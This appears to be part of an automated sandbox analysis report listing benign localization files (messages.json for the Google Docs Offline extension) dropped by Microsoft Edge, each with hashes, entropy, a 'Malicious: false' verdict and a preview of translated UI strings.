SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til 